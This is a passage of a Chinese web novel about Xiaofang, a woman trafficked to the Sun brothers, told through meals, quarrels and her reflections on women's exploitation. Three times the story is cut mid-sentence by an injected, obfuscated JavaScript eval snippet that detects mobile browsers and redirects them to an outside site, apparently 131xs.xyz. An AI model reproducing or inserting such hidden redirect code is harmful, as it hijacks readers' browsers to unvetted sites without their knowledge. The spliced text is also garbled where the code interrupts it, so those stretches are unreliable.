撒了一大把面下去,孙少康看出她是饿狠了没轻重,用眼睛失准地去衡量肚子的容量,便道:“下那么多,你一会儿又吃不完。” “你管我吃不吃得完!”凶完,小芳低下头,她觉得自己好不讲道理啊。 孙少康也习惯了,没说她什么,还忍气吞声地洗了几瓣白菜给她加点绿,补充维生素,又跑到外面的烟囱口取下挂的腊肉腊肠,洗干净切好丢面汤里煮,整个厨房散发着面食与腊肉微咸的气味,快要把小芳香迷糊了。 这屋里的烟囱不像伍家村人人家里把砖头砌得直通房顶那种,孙少华和孙少康把施工队里用剩的铁皮拼凑起来,焊了个铁皮烟囱,从墙上开个洞钻出去,风口就挂腌肉,这样熏的腊肉啥味道你能都尝出来。 面煮好了,孙少康三两下地挑进碗里,还动作麻利地给小芳调了个蘸水倒进去。 好大一碗面,盛面的碗都可以拿来放小芳这颗人头了。 “吃啊!”孙少康把沉甸甸一碗面送到她眼前,示意她自己接住。 小芳怕烫着自己没接,不用说,她那平板小肚子,除非剖开了倒进去,否则靠食道那细细一根管,灌吐了她也吃不下那么多。 “你不吃点?”她谦虚礼让地问。 “怎么,”孙少康乐了,学着最近流行电视剧里天津人说话,“敢情你刚才下|面的时候是把我也考虑上了?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630282|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然没有,”她也幽默,“现在把你考虑上了,还来得及吗?” “我晚饭吃了多少?你心里该有数啊?”孙少康贱贱地说。 废话,他是把自己那份也吃了,她懒得理他,爱吃不吃。 小芳从放碗的柜子里拿出个最小的碗,虽然他们家最小的碗在伍家村也是给年富力强的壮汉吃的。 她自顾自地从他端着的大面碗里给自己挑了些出来,还兴致很好地用汤勺盛了面汤。 先喝了口汤,孙少康手艺还真不错,那蘸水调得完全对她这个正宗西南人的胃口。 “你真不吃点?”小芳多少有点不好意思,大半夜把人吵醒,人家不发脾气还不嫌麻烦地给她做一顿,怎么也该有来有回地客套两下吧? 但很快她转念又想,凭啥?她来这里又不是自愿的,他们不该这样服侍自己吗?嫌麻烦?嫌麻烦放她走啊! 这样一想,小芳原本稍稍让人看着心里舒服的脸又恢复到之前那种人人欠她二五八万的神情,眉梢高吊,是在表示她心里意思:你们活该服侍我! 她一系列神情的变化全被孙少康看进眼里,他指控道:“你这女人简直随时随地发神经,刚才还好好的,怎么这下又甩脸色了。” “你管我!看不惯?看不惯,你把我脸用胶水固定啊!” 孙少康看她埋头猛吃,说不清道不明地来一句,“慢点,又没人和你抢。” 他以为他又要顶他一句“要你管!”。 但她没说话,现在她嘴没空,孙少康做的这碗面和在伍家村她妈做的几乎没分别,最简单朴素的做法,一般都是家里谁饿得等不住了或是做饭的犯懒,就如此潦草。 这碗面让小芳原本微微平复的思乡情“哗”地又涌上来了,睡醒前才哭完不久的双眼,被汤面热气熏着又压不住了。 “你怎么吃个面都哭?有那么难吃吗?”她把孙少康给整不自信了,跳到碗柜里拿了个碗,把面一挑就往嘴里送,还砸巴了两下纳闷,“就是这个味道啊!” 小芳能说什么?难道没出息地说:“你一碗面把我吃得想家了?” 但她感到那么一丝丝的不对劲,什么就是这个味道?他还特地了解了自己身为西南人的西南胃? “什么这个味道?”她问他。 孙少康理所当然地说:“你们那边的人不就喜欢这样吃吗?吃啥都要放点剁碎的生辣椒。” “你怎么知道?”她问。 孙少康觉得她马上又要发神经了,“县城里有你们老家过来的人开的饭店啊。” “男的女的?”小芳追问。 “问这个干嘛?”他跟不上她极富跳跃性的思维。 小芳眼里已经没有朦胧泪意了,取而代之的是犀利,要把谁戳个对穿一般,她说:“是女的肯定就是拐卖来的!我们那儿哪点不比你们这儿好?要跑到这里开饭店?” 果然,他就知道,他把碗和筷子放下,心口处传来抽抽的疼,不很剧烈,像丝丝牵牵地不好过,他站起来说:“你吃完,想收拾就收拾,不想就放这儿。” 说完他留了个让小芳品味出落寞的背影。 之所以品味出落寞在于小芳不确定她是不是看见他轻微颤抖的右手,可这个人有什么能让他颤抖的呢? 她望着那个背影,碗里的面怎么也吃不下去了。 她弄不清自己是因思乡而吃不下,还是内疚,也或许二者皆有。 20. 无眠的夜 小芳几乎一夜没睡,白天睡得太多,晚上又睡,她的身体不愿提前进入死亡般地休眠状态,毕竟这具身体的主人还很年轻。 昨晚在大床上她翻来覆去地做侧滚翻运动,滚半天也没用后,她悟出一个道理:她的命还是不够矜贵的,睡懒觉这种享福的事都不能时刻进入状态。 当然小芳不会承认,失眠的缘由是,孙少康那个由她导致的落寞背影就跟焊进眼眶里一样,睁眼闭都白搭。 她就是这样一个人,别人如果伤害了她,她会伤心决绝地非报复回来不可,但如果她主动地伤害了别人,心就像生病了难受。 在被窝里她一再地劝诫自己,孙少康是和人fan子合谋贩卖妇女的违法犯罪分子,她是发母鸡瘟呐,连伤害这种人都内疚起来了?他们伤害了她,她凭什么不能伤害回去? 她给他们的伤害较之他们给她的,是多么的无足轻重?男人在男女方面无论怎样,承受的痛苦与屈辱都是不能和女性相提并论的。 小芳有时消极地认为上天把女人造出来,就是让她们去受罪的。 不然,怎么只听说过拐卖妇女,没听说过拐卖爷们儿? 上天给女人那套有别于男人的性|器官,让一个女人在她不长不短的人生里招致了多少不必要的麻烦?或者说使女人无时无刻不处于麻烦之中,比如每月留几天血。 她过去十八年从没像在这里这样闲散过,这些过度的,让她感到冗余的闲,倒是让她有时间思考起和哲学挨些边的问题来,或者应该说思考本身就和哲学沾边的,哪个哲学家不需要思考? 小芳不知道她此刻拥有的如此多充裕的时间让许多生前已成名的哲学家、作家、历史学家,这样家,那样家羡慕不及,成名的他们几乎拥有一切,但除了时间。 她如果知道,一定会冷笑一声说:“羡慕啊?来嘛,找个杀千刀的让他把你们也拐来嘛!” 首先,大多数“家”们成名时已近人生暮年,人只要中老年时活得还不错,就总耐不住想活长久; 其次,成名的烦恼就在于,太多的人慕名而来。有多少大家们成名后过着东躲西藏的日子?为的就是不受那些因慕他名而追来的人打扰,这些人简直不知道他们在大家们的眼里比逐肉苍蝇还讨厌,毕竟苍蝇可以采取杀生的方式来解决,但人不行,人这种同类比任何生物都讲求平等,杀了人会被要求以命抵命。 用大家的命去抵俗人的命是一桩多么不合算的事?所以大家们只能像逃犯一样的躲藏,而一些虚荣的大家又怕藏久了,大众真忘记他了,又会适时地闹一出重出江湖,废话,被人遗忘的大家还算什么大家? 扯远了,此刻的小芳还不懂这些,她现在才刚摸着哲学的门:“思考”。 她觉得之所以女人比男人活得更遭罪,就在于那个往体内凹的甬道,以及甬道连接的终端——一座血肉造的宫腔。 男人不是因为这两样东西才对女人虎视眈眈,甚至鸡鸣狗盗地要把南边的人运到北边,在九百六十万平方公里的土地上干起走街串巷般的贩夫走卒生意? 这世道不仅有南水北调,西电东送,还有南人北运,她就是被北运的南人的其中之一。 试想如果女人没了这两套器官,还会有人不辞辛劳、东南西北、日晒雨淋地到处颠簸? 这一切都怪老天,给了女人受人觊觎的器官,偏又不给她们足以保护自己器官的强壮健魄身体;反倒使祸害女、让女人吃亏受罪的男人孔武有力。 这不摆明了让男人来尽情地糟践女人吗? 就像孙家这三兄弟,孙老三小芳还没见过他本人,只看过家里的相片,那相片是单人照,背景是照相馆里那种一眼假的廉价幕布,没人和实景做陪衬看不出他块头大小。 但两个生他前头的兄弟都如此魁梧,他会矮小瘦弱吗?军校严苛的体检测试会把矮小瘦弱的先给刷下去,再说即便成了漏网之鱼,军校那科学合理的训练与营养均衡的膳食,哪里会容许漏网之鱼们继续矮小,继续瘦弱下去? 军人可是门面,门面破破烂烂的,那不给国家丢脸么? 瞧瞧在天安门前站岗那些兵,多俊?多美?哪个不够格印画报上?搁古代,该叫羽林卫、禁卫军! 所以孙少东铁定也是个骡子,一屋三骡子,老天爷生怕孙家人祸害女人时不够有力,人数不够多。 小芳发散性的思维想到这里,早已把孙少康那个落寞的背影给扔出她的内疚范围了。 她脑子越想越清醒,越清醒越睡不着,于是在院里的鸡啼叫两声后,听见一阵清晨动物的交响曲。 她很纳闷,怎么会有那么多的鸟叫?这些鸟到底躲到哪儿去了?白天别说鸟影,连鸟的残影都别想,自己要是也能像鸟般隐藏起来就好了。 这时,房间外另外一只早鸟也有了动静,是隔壁房孙少康传来的窸窣穿衣声,然后是脚踩上鞋开门出来的声音。 他的脚步声很有节拍,踩塌了的鞋后帮,让他的脚后跟和那处的鞋垫每一步都处于脱离状态,每走一步都会碰撞出“啪嗒”一声。 孙少康就这样在隔音效果奇差的房子里持续不断地制造出这些声响,仿佛不甘心小芳就这样轻易将他从她脑子里抛出去了似的。 其实他不是起得早,他也是同样的一夜未睡,他昨晚和小芳同样地摸到了哲学的大门,他也在思考,思考男人和女人这件人类思考了几千年的事。 在小芳之前,孙少康从没见过如此不女人的女人。 在讲过的不多女人类型里,女人可以是含辛茹苦、任劳任怨的,像她妈那样,死都死在去干活的路上;也可以是忘恩负义、不知廉耻的,像他的前任嫂子金桔那样;还可以是一招一式、一颦一笑都极具风骚,每个表情做出来都像一颗子弹,而男人就是她们的靶子,这些女人就是长期随施工队行踪来安排她们行程的卖|□□们。 他只近距离地接触过这些女人,但负距离是没有的。 和这些女人像榫卯那般牢靠结合在一起是风险很大的事,她们总和脏紧密联系在一起,□□很脏,精神也脏,连嘴里吐出来的字眼话也肮脏十足。 但男人爱就爱她们的脏,尤其是施工队的男人们,一天活计干完,谁不是灰头土脸?他们配得上干净整洁的女人?他们嘴里难道不脏?越是体力活干得重的男人,越是会说些脏得不堪入耳的话,总不可能要求个斯文飘逸的女学生来忍受他们这些脏话吧? 那群男人的脏话,如果放在学校里,可以在半个钟头内,让所有未接受过性知识教育的孩子们得到比教科书更完整、更精确的科普。 从这点看来,这些男人倒是和那群靠出卖□□卫生的女人很合得来,他们的合得来也导致了只有这些阅人,尤其是阅脏人很丰富的女人才能迎合得了他们汹涌近乎无耻的欲望。 但合得来是一回事,过日子又是另一回事。 别看孙少康在施工队里同样是个开口不言素的男人,但是论起实操来,他是和他哥那样的童男子。 不知为什么,他对每件事的第一次有着异乎常人的庄重。 第一天上学,是他态度最为端正的一天,之后很快意识到于他而言,读书是件多么枯燥漫长的事,他就以不端正的态度来应付他只有六年的学子生涯了。 第一天进施工队,也是他最郑重的一次,在那天他把所有禁止和允许事宜搞明白后,后来的每一天都是带着凑合应付的心态去的,既然凑合和应付就能保障他的安全和生计,那干嘛还要认真? 也是这点怪癖,让他在女人身上尤为固执,他觉得怎么能把郑重的第一次交给那群不郑重的女人呢?至少那样东西应该交给他未来老婆吧?只有在未来老婆也让他感到无趣、乏味后,他才该不正经地把以后的每一次交给其他和他不正经的人。 但孙少康明显对自身缺乏认知,哪个有头有脸的正经女人,会找一个满嘴脏话、行为粗鲁的施工队男人? 时间长了,连他自己都产生一个念头,那就是主动来找他的女人都是不太正经的,要想他对她们交付出他的第一次,那还是等他和正经的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630283|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正经完一次以后再议吧,就是这点矛盾,让他“守身如玉”至今。 孙少康对万事开头正经的态度,那天正要用在他嫂子身上时,就被小芳一个不留情地掐断了。 起先他对她那口听起来很有意思的“挺尸”和“扳命”的西南方言感到颇有兴趣,但其实该归功于小芳那口脆生生的嗓子,那把嗓子能将她同样脆生生的家乡话说得意外的悦耳动听,一股鲜辣劲儿,就跟她的家乡菜似的。 可等孙少康问清楚意思了,才知道那话只是听起来中听,意思是一点也不。 耍泼和豪横的女人他见过不少,女人结了婚总是难以避免染上这两样的德性的,但刚来不久,他还没惹上就耍泼豪横的,孙少康还是头次见。 从来没有哪个女人敢用这种态度招呼他,因为他在外展示给女人的形象就不是个不对女人动粗的“绅士”。 女人也是人,是人就免不了有见风使舵、欺软怕硬的俗气毛病,人一旦在另一个人身上发现点类似于“怯懦”、“软弱”的缺陷便会很迅速地打蛇随棍上,占起便宜来。 他不像他哥,白瞎了那身父母优良基因塑造的高大身板,这两样在他哥身上和在他自己身上起到了完全相反的作用。 他出门在外倚仗的就是这身骡子般厚实的筋肉,有了这身天然的“军事装备”,他就跟国际会议上的五常国般,除同体量选手外,其余全可以先礼后兵。 孙少华就不同了,像时刻怕自己的高大健壮吓到别人似的,与人相处总带着腼腆、礼让,只要不伤和气,吃点亏,退两步都是可行的、应该的、无需商量的。 而小芳成了在孙少康这里史无前例的第一个,他起初认为是这女人仗着他哥的纵容才敢如此胆大包天,后来他发现她不是,她是真的抱着“你赶紧弄死我”的态度对他蹬鼻子上脸。 换做过去哪个女人敢这样激怒他,不把他放在眼里,他一个巴掌就上去了,但小芳他却下不去手了,不止是因为他哥,他哥对他的爱护和放纵不至于为了个女人搞得兄弟反目,他哥从小就很有做大哥的样子,第一次拿到一颗大白兔奶糖都要用刀均匀地切成三块,三兄弟对等平分。 甚至在他哥从广州回来,他出了一半的钱,他哥还提出他们可以像十几里地外的赵家两兄弟一样,但他不留情面地拒绝了,那种畸形的关系怎么可以在一个家里发生? 虽然孙少华表现得没丁点介意,但孙少康认为大哥对这件事的过于大度和平日的过于谦让,都是小时候发高烧降温不及时把脑子给烧出了点后遗症,那种事怎么可以由三个人参与呢? 有好几次甚至昨晚面对小芳的不识好歹,孙少康浑身的力气都运送到他的两只铁掌上了,但随后又会有股更猛烈的力气像浪潮般把前一阵淹没,不为别的,他只觉得她那张漂亮得近乎该当做摆件的脸是不适合用来承受男人巴掌的,它也承受不住男人巴掌。 就像他家不知哪年他爸从外面买回来个瓷瓶,又碍事又没用,但却不会有人嫌弃到非要把它砸粉碎才行。 小芳在他心里就像那个瓷瓶,可以讨厌,可以嫌烦,但就是不能一掌给拍碎了。 他想他的手下留情一定是因为大哥临走前告诉了他有关小芳身世的缘故,他是可怜她这个被自己男人给叛卖了的女子。 昨晚孙少康和小芳就在各自床上产生了关于各自性别以及对方性别的思考。 孙少康思考到最后带着消解不去的不甘,那种他明明用了与过往截然相反的方式去认真对待一个人却依旧徒劳的不甘,还有一种人在一团混沌里找不到出路的焦虑。 这些使他感到待在房间里十分沉闷,他需要出房间四处走走,冲散积郁一晚的怨气。 小芳的思考却有了结果,结果就是无论这家人做什么,怎么做都是应该的、欠她的。 她的愧怍在一夜思考后迅捷地消失了,稍后她就在孙少康的鞋底与地面以及脚后跟因碰撞而产生的均匀节拍声中熟睡了。 他因不得要领而发出的声响倒阴差阳错地成了她的安眠曲。 21. 倒时差 小芳在下午五点半时醒来,这是她活到目前为止,记忆里醒得最晚的一次。 过去就是睡午觉也没迟到这时候才醒,过去这时候她正准备给她田里劳作完回来的妈烧火做饭。 她没想到,自己有朝一日,在中国的土地上还能过上像社会最尖尖那撮人才有福气过的日子——倒时差。 她的语文老师讲过,所有国人出国都必须要受的一份洋罪就是:要调节各自身体里从国内带到国外,与外国人不同步,甚至完全颠倒的时差。 但那时她觉得如果能到国外,受洋罪也是光荣的,谁让那罪沾个“洋”呢? 国家近代现代的历史里,哪样给人便利,让人舒坦的事不和“洋”沾边? 倒时差,这种受洋罪的事也要留洋的人才能受,受那种罪要坐飞机,乘轮船才行,而她和这两样做得最挨边的事,就是去镇上有时候走水路要坐船过河,除此之外就再没其他了。 可那条河窄几分钟就到了,哪有大海宽敞?听老师说国家最先几批留洋的先辈,光坐轮船在海上漂少说都要坐上一两个月,一开始时好多人晕船,在上面吐得昏天黑地。 上课时,小芳光在脑子里想象站在偌大的轮船甲板上,靠着围栏晕船,然后把呕吐物吐向大海,多么浪漫?多么有西施心口疼时,捂着胸膛,痛苦皱眉的那种风情?能留洋的人就是受罪都可以受得那么有小布尔乔□□调! 而此刻,她这份颠倒时差的受罪却和任何浪漫、情调无关,她这份罪和留洋的人受的罪,就让她在离开学校那么久后,还能想起那个讽刺意味十足的寓言典故:东施效颦。 想到这里,小芳望着渐渐深沉起来的天色,扯了个悲凉十足的笑容。 刚笑完,她就闻到股香飘飘又暖洋洋的气味,是食物的浓厚香气,只有馥郁十足的酱油配着八角、桂皮、草果等调料和肉一锅炖才会出得来这种香气。 这气味不经闻,给人一闻就像喉咙里伸出手来要把那炖煮的肉全抢过来塞胃里。 是孙少康又在做饭了。 小芳边耐不住地朝厨房走,边怪自己不争气、没出息。 等她走进厨房,孙少康正把锅里的炖肉捞出来,大菜板上还放着切好的土豆片,小芳是内行,那薄透均匀的刀功一看就是打小炼成的童子功,灶台上还有凉拌好的素三丝。 她感到今晚的每样菜都很符合她胃口,今晚就是孙少康和她再摩擦出什么不愉快,她都不会败了食兴。 整整两天!除了昨晚上那两口面,她连水都没进一口。 孙少康只忙自己的,晓得她进来了,头都没抬一下,又是洗涮干净锅准备炒土豆片,又是添柴火,捞出来的肉还在一旁的不锈钢盆里没切成片。 小芳等不及了,等孙少康一个人做完,她非得被这厚重的食物香气给折磨死。 刚等孙少康把菜板上的土豆片炒进锅里,她就亲自动手把卤煮好的肉放到空出的菜板上切成片,刀使得很不顺手,但为了能快点吃上肉,她也努力克服了。 孙少康仍然是一个眼神都没给小芳,但两个人此刻各自一言不发忙活手里的事,倒给这宽大的厨房增添了一丝异常的和谐。 一个炒菜,一个切肉,等孙少康的薄透土豆片出锅,小芳的卤肉也装好盘了。 她和孙少康不久前,在同声骂孙少华时的同频与默契这一刻又重现了,两个人端起各自手里的盘子抬头对视了眼,又害臊似的马上转过头。 把菜端上桌,她忽然发觉什么,从她到这家里那天起,孙家两兄弟几乎顿顿都有肉吃,有时候还是鲜肉,每顿能吃这样丰盛的人家,放伍家村也是算是大户了。 小芳便问:“你们工钱很多吗?不然谁挨得住顿顿这样吃?” 他们昨晚闹得是属实不好看,她先开口也算主动讲和了,再说两个人谁也不开腔地光闷头吃,那这顿美餐还有多少意思? 有时候一顿饭的美味与否也取决于吃饭的氛围,小芳不想在沉默中享受这份美味,以前念书时,大家都从家里带饭,一天最开怀的时候,就是一堆四五个女同学凑一起,品尝彼此的菜以及分享八卦。 她也就跟孙少康八卦起来了。 “多?”孙少康笑了笑,多会连个老婆都没有? 小芳看懂了他的笑,实惠地说:“那你和你哥吃肉次数节约点,钱不就省下来了?” “那多费事?”孙少康比她更实惠,“为了娶个老婆就要少吃肉,她要是再生个下来,我不就肉都吃不上了?委屈自己也委屈人家,别造孽了!” 小芳第一次听人说这样新鲜的道理,忍不住笑起来,她觉得孙少康还是他哥有趣的,孙少华在她这里几乎每次还没开口,她已经想让他闭嘴,想让他滚了。 “你还有几天回去?”小芳问他。 “怎么?”孙少康说,“你想我哥了?” “少提他,你要不想好好吃这顿饭,自己端起碗去我看不见的地方吃!” “你讲不讲道理?这顿饭还是我做的,你啥也不干地蹭吃,还叫我滚了?” 孙少康没想到自己在村里、镇上,甚至县城混了这么多年,也会有沦落到要求别人讲道理的一天,往昔,他可是只认拳头这一个道理。 “我想做也做不了啊,”小芳大口往自己嘴里塞肉,那卤味香把她舌头都香入味了,“你看看你们家这厨房,适合女人用?” 孙少康听不下去了,懒就是懒,扯什么男人女人,“我妈不是女人?” 小芳反驳道:“你妈多高?我多高?” 她在放杂物的箱子里翻到过孙家人老照片,孙家三兄弟的妈在女人堆里也是拔尖的健壮。 那时她心里恶劣地想:这女人要是不健壮,那么和孙老头生孩子不就成了马钻狗洞的不搭了吗? 孙少康虚着眼打量了小芳会儿点评道:“和我妈比你矮是矮了点,但女人生得高大结实也没什么好处,就像你骂我们骡子一样,我妈也像头骡子,跟了我爸,除了死那天基本就没闲下过。” 小芳不屑地说:“要是让我找这种男人,我不如单独自己过。” 孙少康怼她:“你自己能生孩子?” “你妈生的孩子跟她姓?有意思吗?不跟自己一个姓,生了也是白生!” “什么歪理!”孙少康反对道,“你难道跟你妈姓?你妈难道白生你了?” “养到那么大岁数一个姑娘,就这样被人拐到这地方了,她连个屁都不知道,可不是白生了?!我妈现在都还以为我在广州干流水线!” 无论他们如何交流,带好气或者没好气,永远都能回到这个问题上,问题是不会自己解决的,它只会在所有人试图逃避的时候,猛地跳出来提醒人们,它其实一直都在。 “广州真那么好?”孙少康没去过广州,但听小芳鲜有的恋恋语气也好奇起来。 “当然好!你以为你们挣得够多,天天能吃上肉就满足了?”小芳用地主挑长工的眼神端详孙少康那身板扎筋肉,“你这一身力气,换到那边的工厂,至少也有十八九一个小时。” 孙少康丝毫不为所动,“能天天吃上肉还不满足?你当哪里都能天天吃上肉?再说了越是有钱人多的地方,越是当骗子、小偷的人多,我们施工队老康的弟弟去年人刚到上海的火车站,钱就被偷了,还是跟车站的人说明情况,最后一张免费票给送回来的,你说丢不丢人?!” 丢人,怎么不丢人?但小芳是不会说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630284|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人家只是把钱丢了,而她,把自己整个身心都丢了,她有资格说别人? “怎么不说话了?”孙少康问。 他没想到小芳的沉默是因为被他戳中了痛处,他的简单脑筋只以为是他一番话说得她无法反驳,又乘胜追击道:“我们这里又不是没有去外面打工过的,五龙就是去了福建四年,今年回来,去的时候人都好好的,回来肺都烂起眼子了。他干那活还戴着口罩,就这样防护还要烂肺,你说钱给得有什么好?不就是拿钱来买你的命?” “他回来我们还笑他,幸好没把良心烂那里,所以啊,”孙少康感慨道,“那些地方要挣钱,不是坏身体,就是坏良心。” 他一直在说话,小芳没什么好说的。 他说的都对,无比正确,她只能埋头吃饭,等他说累了,把嘴停了,桌上的菜小芳也吃得差不多了。 “你怎么不给我留点?你饿死鬼投胎啊!”他激动道。 “你爸妈你哥没教你吃饭的时候少说话?”说完,小芳又朝自己嘴里送一口肉,在伍家村要是有这样一顿饭,全家谁都不说话,多说一句就少吃一口。 孙少康和施工队那群大男人待惯了,他们顿顿吃饭都要喝大酒,说闲话,哪有闭嘴的说法? “再说了,”小芳想到今天起来没看见昨晚自己剩的那大盆面,“我昨晚的面不是你给吃了?” “你剩那么多,我还不能吃?不吃不浪费了,你以为剩面好吃?全坨成一块一块的,跟嚼饼子一样,我不吃你还会吃?” 如果是在伍家村,小芳当然会吃,她和她妈家里缺个男人,日子在村里过得只能算过得下去的程度,吃的只要不发霉能都把眼闭上咽下去,虽然她家也没什么能留得到发霉。 但在这里就不一样了,被人稀里糊涂卖到这里来就够憋屈了,要是卖过来还不能享福,要被人当牛做马地奴役,以她的脾气,明着动不了手,背过身也要一包耗子药放锅里,全家一起升天! “我当然不会吃,”小芳夸张地说,“我在家都没吃过剩的,来你们家我还要吃?” “他对你那么好?对你那么好怎么还......”孙少康剩下话憋了回去。对你那么好怎么还把你卖了? 他意识到这话不该说时已经晚了,小芳脸色的难看程度表明她知道他后面没说的是什么。 “就是对我好,才能把我卖了啊,”小芳说,“对我不好,我能那么傻憨憨的被他骗过来?” “那男人真不是个东西!”孙少康不觉得他和他哥也不是个东西,“连自己老婆都卖,还是你这样的老婆!” 小芳听出来他也以为自己和王国富是做过长久夫妻的。 “我这样的老婆怎么了?”小芳不以为然道,“老婆再好跟钱比起来算什么?” 孙少康不赞同地摇摇头:“老婆和老婆也跟做人一样区别大了,你看我妈,老老实实的本分人却操劳一辈子,你再看看金桔,就是我哥之前那个,一点做女人的本分都没有,结果呢?嫁进胡家多享福。” 小芳站在女人的立场公正地说:“你也说了你妈在你们家操劳一辈子,那人家金什么的女孩子,不去享福,吃撑了要来你们家吃苦啊?” 孙少康默然了会儿又点点头,“说得也对,”愣几秒又反应过来,“你来我们家吃苦了?这碗里的肉是苦的,你还吃那么多?!” 小芳懒得跟他沟通,这种人是不会懂的,广州十四五一个钟头的流水线没了,被流放到这种老山窝窝里,难道不算吃苦? 她把手里吃干净了的饭碗放桌上,打个饱嗝,说:“我要进屋休息了,你把这些收拾下。” 在屋里关紧门,她都能听见孙少康在外面边收拾边叫骂自己。 22. 猪头肉 小芳自从上次和孙少康在厨房搭伙做了顿饭,之后两天也像有了那么点默契。 后续俩人也配合了几次,他干什么事都有条有理地麻利,不由得让小芳想,这个男人要是放伍家村还真不错,值得让村里女孩托付?脾气虽然臭了点,但也比她爸老伍还有伍老舅、伍三叔这些男人强。 两个人在厨房烧饭吃,小芳只负责烧火,切菜炒菜什么全由孙少康来。 他们家所有都放大了的用具,她上次就使不顺手,把手给切了,幸好不是砍肉,否则就不是一条口子的事了。 就那次切到手,她和孙少康还产生了一次不大不小的矛盾。 小芳在这里整日不见天日,她的手也养得和白萝卜差不多白,切萝卜时一个走神就把手给当成萝卜了,幸好痛觉来得快,她立马把刀扔一边,给自己手止血。 孙少康见她流血了,把家翻个底朝天,几乎把所有物件都给重新挪了位,才找到几张过期很多年的创可贴,他们家两个大男人谁讲究这些? 小芳一眼就看出来,笑道:“是给那个叫金桔用的吧?” “怎么?你还吃醋?”孙少康说。 他的话,简直侮辱了小芳,“你觉得我会吃你哥的醋?那就是个傻骡子,你会吃牲口的醋?” “你别这样说我哥!”孙少康把创可贴没好气地扔给她,“我哥难道对你不好?” 小芳要和人吵架,从来都是好样的,弹无虚发地只朝人痛处发射,“你哥对金桔不好?人家理了?” “我哥是为了我们,”孙少康火了,“金桔家巴不得我哥把那家人赔我们家本来就不算多的钱全用在他家金桔身上,怎么可能?死的是我哥的爹妈,不是我和我小弟的了?那时候我十六了,我哥可以不管,我小弟才十岁他也能不管?” 孙少康替他大哥委屈道:“我哥也是为我们这个家才打光棍到现在的。” 他心里想到他哥虽然有了小芳这个老婆,过得也跟光棍没差更替他委屈了,哪个有老婆的人晚上过得像睡素觉的和尚? 小芳很冷漠地说:“那是你们三兄弟的事,你们是亲的,老婆可不是亲的。” 她把话撂下就进屋了,要她理解这个家,没可能的事,先不提他们找人fan子买女人的下|作行径,光是小芳自己就心有不甘,广州或者任何一座能同它相提并论的其他城市,仍在她心里刻下一个美丽符号,她是要走的,这事毋庸置疑。 在这里待的这段时间,她每次给这两兄弟的好脸色不过都是为了让自己过得舒心而已,人长久地保持战斗状态非常累人,而且只要她给点好态度,他们就能对她更好,那何必还整天跟只野猫似的动不动就竖毛弓背? 就在小芳刚关上门的一瞬,孙少康的话就飞进来了,狠狠地往她心上刺了一刀,“说得好,两口子又不是亲的,所以急用钱了,谁把谁拿来卖一卖也不是不行。” 小芳忘了,是人就会有痛处,别人有,你自己也有,你以为你捏住了人家的下三路,难道人家就没有掐住你脖子吗? 那晚上,小芳又把自己关进屋子里不吃不喝起来,她有着伍家村女人标准的、尖利的一张嘴,伍家村的女人长一张嘴不仅用它吃饭、说话,最紧要的还是骂人。 在伍家村和人打嘴仗是随时随地的事,女人们最恶毒、刻薄的字眼顺着唾沫飞溅出来,那威力不比拳脚差。 非要找出个能和伍家村女人骂架类似的文明,那就是大洋彼岸的黑人freestyle,不是夸张,很多黑人rap star在讲述自己少年时代都会说他们从街头一路和人饶舌绕到家门口,伍家村的女人一路和人骂到家门口也是基操。 伍家村就那么几十户人家,谁家往上数几代的事,同村的人都摸得和本人一样清楚,一旦骂起来,也是谁家丑事更多的吃亏。 在伍家村百分之九十的丑事都和男人沾边,所以小芳家可没什么丑事好说的,她妈连守寡都守得比别人家的寡妇规矩,而她自己对村里的男人从来都是持轻视和看不起的态度,正因如此,小芳和村里谁骂起架来都不输。 但间或一想,她又会替这些女性同胞感到可悲,她们几乎每个人一生都在为男人吃亏。 生下来就帮着家里干活,只要家里有男丁,那么姐姐妹妹都跟当小妈没差,要为兄弟服务,连结婚都摆不脱宿命的奉献与牺牲,伍家村女孩结婚收的彩礼就是自家兄弟娶媳妇给未婚妻家的彩礼,而她们的兄弟给未婚妻家的彩礼,也随之变相地成了给舅子娶媳妇的彩礼。 那些流动的彩礼与其说是一张张钞票,不如说是一个又一个被买断下半生的年轻女孩。 你想想,人家花钱出了彩礼,就等于花钱买了你这个女人,不狠狠地榨干你的用途,不全家都把你轮番践踏一遍,怎么划得来? 他们出彩礼买回来的媳妇,功能用途很多,是生儿育女的工具,是照顾全家的保姆,是丈夫泄|欲的活人偶,是不顺心时打骂的出气筒。 而娘家? 娘家就是如果你在婆家待得不错,他们会欢迎你回去,当然是提着从婆家拿的东西回去,走时还会顺句嘴,“嫁人了,也别忘照顾兄弟”;如果在夫家过得不好,那么万能的金句这时候就派上用场了“嫁出去的女儿泼出去的水”。 反正嫁女儿是桩稳赚不赔的买卖,除了女方本人,谁都有得赚。 